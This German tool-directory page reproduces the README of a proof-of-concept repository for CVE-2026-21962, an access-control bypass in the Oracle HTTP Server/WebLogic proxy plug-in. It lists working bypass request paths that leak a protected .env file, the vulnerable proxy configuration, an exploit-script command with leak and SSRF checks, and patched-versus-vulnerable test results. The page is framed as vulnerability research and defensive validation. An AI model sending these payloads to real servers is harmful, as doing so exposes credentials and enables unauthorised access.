Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-21962 — Verifizierter PoC und Analyse für CVE-2026-21962, eine Umgehung der Zugriffskontrolle im Oracle HTTP Server/WebLogic Proxy-Plug-in über eine Inkonsistenz bei der URI-Normalisierung, mit Exploit-Skript und Nachweisen. | Kitploit
Tools/GitHubGitHub/zeetee1235/cve-2026-21962
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsRed Teaming
GitHubzeetee1235/cve-2026-21962

CVE-2026-21962

Verifizierter PoC und Analyse für CVE-2026-21962, eine Umgehung der Zugriffskontrolle im Oracle HTTP Server/WebLogic Proxy-Plug-in über eine Inkonsistenz bei der URI-Normalisierung, mit Exploit-Skript und Nachweisen.

Repository anzeigen
vor 12h 22mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-21962 — Oracle HTTP Server / WebLogic Server Proxy-Plug-in

Umgehung der Zugriffskontrolle durch URI-Normalisierungs-Inkonsistenz

Eine unabhängig reproduzierte Exploit- und Analyse für CVE-2026-21962 (unsachgemäße Zugriffskontrolle, CVSS 10.0) in Oracle HTTP Server / dem Oracle WebLogic Server Proxy-Plug-in für Apache HTTP Server.

Status: verifiziert gegen Live-OHS 12.2.1.4.0 und 14.1.2.0.0 vor WebLogic Server 12.2.1.4.


1. TL;DR

Das Frontend (OHS + mod_wl_ohs) und das Backend (WebLogic) normalisieren ..; unterschiedlich. Eine Anfrage wie:

root@kitploit:~
GET /foo/..;/internal-admin/cont/.env HTTP/1.1

umgeht eine Frontend-Schutzregel <Location /internal-admin>, weil OHS ..; zusammenführt, während WebLogic dies ( = Servlet- Pfadparameter, = übergeordnetes Verzeichnis). Das Backend liefert dann den geschützten Pfad aus. Ergebnis: (CWE-284).

nicht
tut
;
..
Umgehung der Frontend-Zugriffskontrolle

Siehe analysis/root-cause.md.

2. Umfang — genau was verifiziert wurde

Verifiziert (reproduziert)

  • OHS 12.2.1.4.0 + mod_wl_ohs (WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848) vor WebLogic Server 12.2.1.4.
  • OHS 14.1.2.0.0 + mod_wl_ohs (WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137) vor WebLogic Server 12.2.1.4.
  • Bypass-Varianten (alle leaken die geschützte .env):
    • /foo/..;/internal-admin/cont/.env
    • /foo/..%3b/internal-admin/cont/.env
    • /foo/..;jsessionid=xxxx/internal-admin/cont/.env
    • /foo/%2e%2e;/internal-admin/cont/.env
  • Der direkte (kanonische) Pfad ist blockiert (404), was den Bypass beweist.
  • Die Antwort enthält X-ORACLE-DMS-*-Header, was beweist, dass es sich um eine echte Backend- (WebLogic-) Antwort handelt.
  • Das Backend-Zugriffsprotokoll zeigt die Anfrage normalisiert als /internal-admin/... (GET /foo/../internal-admin/... 200).
  • Patch-äquivalenter A/B-Test: Mit korrigierter Frontend-Normalisierung wird die gleiche Anfrage blockiert (siehe evidence/).
  • Ashwesker-Familien-„RCE“-URIs liefern auf derselben verwundbaren Bereitstellung 404 (siehe poc-factcheck.md).

NICHT verifiziert

  • WebLogic Server Proxy-Plug-in für IIS (isapi_wl, betroffen in 12.2.1.4.0). Derselbe Mechanismus wird erwartet (Servlet-Pfadauflösung im Backend), wurde aber nicht unter Windows reproduziert.
  • Die offiziellen gepatchten Binärdateien (Oracle-SSO-geschützt). Die Patch-Analyse ist ein Binärdiff zweier öffentlicher verwundbarer Builds plus eine patch-äquivalente Demonstration (analysis/patch-analysis.md).
  • Jede RCE-Kette über Datenoffenlegung / SSRF hinaus. Dieses Projekt demonstriert eine Umgehung der Zugriffskontrolle mit Datenleck und ein SSRF-Vorbereitungsszenario; es demonstriert keine Ausführung von Betriebssystembefehlen, und ebenso wenig tut dies ein glaubwürdiger öffentlicher PoC.

3. Umgebung

RolleKomponenteVersion
FrontendOracle HTTP Server12.2.1.4.0 / 14.1.2.0.0
Plug-inmod_wl_ohs12.2.1.4 (190912) / 14.1.2 (250908)
BackendOracle WebLogic Server12.2.1.4
geschützte App/internal-admin/cont/.env (fiktive Anmeldedaten)—

Verwendete Frontend-Konfiguration (minimaler Auslöser):

root@kitploit:~
<Location /foo>
  WLSRequest ON
  WebLogicCluster <backend>:7101
</Location>

<Location /internal-admin>
  ErrorDocument 404 'OHS: Disallowed location'
  Redirect 404 /
</Location>

4. Verwundbar vs. Gepatcht (A/B)

Gleiche Anfrage, gleiches Frontend, gleiches Backend — nur die Behandlung von ..; im Frontend ist geändert.

root@kitploit:~
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
BereitstellungHTTPgeleaktBackend erreicht
verwundbar200ja (.env-Anmeldedaten)ja (X-ORACLE-DMS-*)
gepatcht (korrigierte Normalisierung)404neinnein

Rohbeweise (Anfrage / Antwort / Serverprotokolle):

  • evidence/vulnerable/
  • evidence/patched/

5. Verwendung

root@kitploit:~
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
  • --auto-proxy : automatische Erkennung des WLSRequest-Proxy-Präfixes (z. B. /foo).
  • -c : geschützter Pfad im Backend (Standard internal-admin/cont/.env).
  • --check LEAK|SSRF|ALL.
  • Die Backend-Antwortverifizierung verwendet X-ORACLE-DMS-*-Header; die Kontroll- (direkte) Anfrage muss blockiert sein, damit das Ergebnis positiv ist.

Siehe exploit/README.md für Details. Verwenden Sie dies nur gegen Systeme, für deren Test Sie autorisiert sind.

6. Dateien

root@kitploit:~
.
├── README.md                     diese Datei
├── exploit/
│   ├── CVE-2026-21962.py         verifizierter PoC (deterministischer Leck-Check)
│   └── README.md
├── evidence/
│   ├── vulnerable/               request.txt, response.txt, server-log.txt
│   └── patched/                  request.txt, response.txt, server-log.txt
├── analysis/
│   ├── root-cause.md             Analyse der Normalisierungsabweichung
│   └── patch-analysis.md         Binärdiff + patch-äquivalenter A/B-Test
└── poc-factcheck.md              Glaubwürdigkeitstabelle öffentlicher PoCs + Detail pro PoC

Aktive Erkennungs-/Mapping-Werkzeuge (Fingerprint, Blind-Probe, Normalisierungs- Karte), die OHNE Kenntnis eines geschützten Pfads funktionieren, werden separat in ../../probe/ aufbewahrt.

Integrität

  • exploit/CVE-2026-21962.py SHA-256: 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75a

7. Referenzen

  • Oracle CPU (Jan 2026): https://www.oracle.com/security-alerts/cpujan2026.html
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-21962
  • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-21962
  • Ursprünglicher Forscher: https://github.com/gregk4sec/cve-2026-21962

8. Verantwortungsvolle Nutzung

Dieses Material wird für Schwachstellenforschung und defensive Validierung bereitgestellt. Verwenden Sie es nicht gegen Systeme ohne Autorisierung. Der .env-Inhalt in den Beweisen ist fiktiv; es sind keine echten Anmeldedaten enthalten.

Tool herunterladen